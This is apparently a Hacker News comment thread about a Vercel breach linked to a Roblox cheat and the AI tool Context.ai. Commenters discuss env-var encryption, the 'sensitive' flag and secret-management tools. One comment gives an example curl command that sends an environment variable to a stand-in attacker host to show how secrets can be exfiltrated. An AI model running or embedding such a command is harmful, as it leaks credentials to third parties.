A Roblox cheat and one AI tool brought down Vercel's platform
webmatrices.com107 points by bishwasbh 3 hours ago
107 points by bishwasbh 3 hours ago
I think this is wrong about what “sensitive” means here. AFAIK, all Vercel env cars are encrypted. The sensitive checkbox means that a develop looking at the env var can’t see what value is stored there. It’s a write-only value. Only the app can see it, via an env var (which obviously can’t be encrypted in such a way that the app can’t see it, otherwise it’d be worthless). If you don’t check that box, you can view the value in the project UI. That’s reasonable for most config values. Imagine “DEFAULT_TIME_ZONE” or such. There’s nothing gained from hiding it, and it’d be a pain in the ass come troubleshooting time.
So sensitive doesn’t mean encrypted. It means the UI doesn’t show the dev what value’s stored there after they’ve updated it. Not sensitive means it’s still visible. And again, I presume this is only a UI thing, and both kinds are stored encrypted in the backend.
I don’t work for Vercel, but I’ve use them a bit. I’m sure there are valid reasons to dislike them, but this specific bit looks like a strawman.
I believe this is inaccurate. Vercel env vars are all encrypted at rest (on their side). The 'sensitive' checkbox means you can't retrieve the value once it's set, which would have saved your ass in this case. Also, annoying to read an article like this without a single link to source material.
I think it's clear that some customers env vars got exposed, so that can only mean unencrypted, right?
They said "encrypted at rest", which they almost certainly are.
If you spin up an EC2 instance with an ftp server and check the "Encrypt my EBS volume" checkbox, all those files are 'encrypted at rest', but if your ftp password is 'admin/admin', your files will be exposed in plaintext quite quickly.
Vercel's backend is of course able to decrypt them too (or else it couldn't run your app for you), and so the attacker was able to view them, and presumably some other control on the backend made it so the sensitive ones can end up in your app, but can't be seen in whatever employee-only interface the attacker was viewing.
Hmm, that's confusing. So they're eventually encrypted but plain-text at some point? Doesn't sound good TBH.
How do you use them if you don't decrypt them? At some point you have to see them in plaintext. Even if they are sensitive and not shown in the UI you can still start an app and curl https://hacker.example/$my_encrypted_var to exfiltrate them.
What's best practice to handle env vars? How do poeple handle them "securely" without it just being security theater? What tools and workflows are people using?
Yeah that's a good point. Dotenvx seems to claim a solution but I'm not smart enough to make sense of it.
However I do feel now like my sensitive things are better off deployed on a VPS where someone would need a ssh exploit to come at me.
dotenvx is a way to encrypt your secrets at rest. It's kinda like sops but not as good. https://getsops.io/
Notice how their tutorial says "run 'dotenvx run -- yourapp'". If you did 'dotenvx run -- env', all your secrets would be printed right there in plaintext, at runtime, since they're just encrypted at rest.
The equivalent in vercel would be encrypted in the database (the encrypted '.env' file), with a decryption key in the backend (the '.env.keys' file by default in dotenvx) used to show them in the frontend and decrypt them for running apps.
If a company says “encrypted at rest” that is generally compliance-speak for “not encrypted, but the hard drive partition is encrypted”.
Various certifications require this, I guess because they were written before hyper scalers and the assumed attack vector was that someone would literally steal a hard drive.
A running machine is not “at rest”, just like you can read files on your encrypted Mac HDD, the running program has decrypted access to the hard drive.
It seems only encrypt and throw away the key would be the acceptable strategy
They need to give your app the environment variables later so they cannot throw away the key.
For non-sensitive environment variables, they also show you the value in the dashboard so you can check and edit them later.
Things like 'NODE_ENV=production' vs 'NODE_ENV=development' is probably something the user wants to see, so that's another argument for letting the backend decrypt and display those values even ignoring the "running your app" part.
You're welcome to add an input that goes straight to '/dev/null' if you want, but it's not exactly a useful feature.
Feels like the bigger issue here is how much implicit trust we’re starting to place in these AI-integrated workflows.
Tools that sit in the middle (like Context.ai) end up becoming a pretty large attack surface without feeling like one.
Something has gone screwy with the timestamps on this page... They're saying they were posted "in 8 hours", "in a day", then the last one is "an hour ago"
> How many developers do you think knew that checkbox existed? How many assumed their database credentials and API keys were encrypted by default?
If I don't see asterisks, I'm not hitting save on the field with a secret in it. Maybe they were setting them programmatically? They should definitely still be looking to pass some kind of a secret flag, though. This is a weird problem for a company like Vercel to have.
You pretty much have to assume someone is going to put sensitive data in an input like this. Encryption by default is the only sensible choice.
Do you ask a bridge engineer if they forgot to reinforce the supports when they built the bridge? Even when I didn't know about security this was a table stakes thing. People saving sensitive things in plaintext are upset that their poor practices came back to bite them. Now, at the risk of sounding like I'm victim blaming here, Vercel is also totally bearing some responsibility for this insanity. But come on. FAFO and all that.
A frigging Roblox cheat...
And I thought it was bad when my son got compromised by a Roblox cheat, but they only they grabbed his Gamepass cookies and bought 4 Minecraft licenses, which MS quickly refunded...
I'm getting a "failed to verify your browser" error on this article
Context.ai seems like it was the SPOF. By definition it has a lot of your data, and they didn’t secure it properly.
Clearly, Vercel should not have been compromised by this. I don't know who Context.ai is but I do know Vercel and I expected better from them. I also think we can expect to see a lot more stories like this.
According to the email I got from Vercel it was a limited subset of customers and I'm not one:
Initially, we identified a limited subset of customers whose Vercel credentials were compromised. We reached out to that subset and recommended that they rotate their credentials immediately.
At this time, we do not have reason to believe that your Vercel credentials or personal data have been compromised.
This looks really really AI-generated even if the author did try to hide it by making some grammar elements improper. Idk if that diminishes it's accuracy though.
The author’s site is on Vercel.
So I believe the author has exposure to the issue and interest in understanding it, that’s more than AI alone has got.
I don't know why you are downvoted. The article is AI blogspam, it doesn't have any more factual information than eg https://www.darkreading.com/application-security/vercel-empl... and is full of empty LLMisms. It's depressing people are willing to read this.
Because a comment that just says it's AI generated provides no value to the readers. They could at least provide an alternative link like you did.
It does provide value in that I know I shouldn't read it. It's clearly LLM written after a few glances.
I didn't notice till I saw this comment and now I'm also confident it's significantly AI written.
good article, these AI products are crazy supply chain risks.
Convenience is our Achilles heel, as a society.
We'll keep dangerous devices like the SuperBox in our homes, if it helps us get access to free movies and tv.
We'll use single-use plastics, even if we know they're bad for the environment, because they're just so damn easy.
We'll let AI run that thing for us, because it's just too easy.
A whole generation has grown up without knowing what it was like to infect your computer with AIDS trying to download an MP3, and it shows. That caution will come back, just at a terrible cost.
> Convenience is our Achilles heel
More generically, our species' Achilles heel is our inability to factor in the long-term cost of negative externalities when evaluating processes that yield short-term positive results.
[dead]
[flagged]
[flagged]
This article is LLM authored and full of hallucinations. "Let that sink in for a second."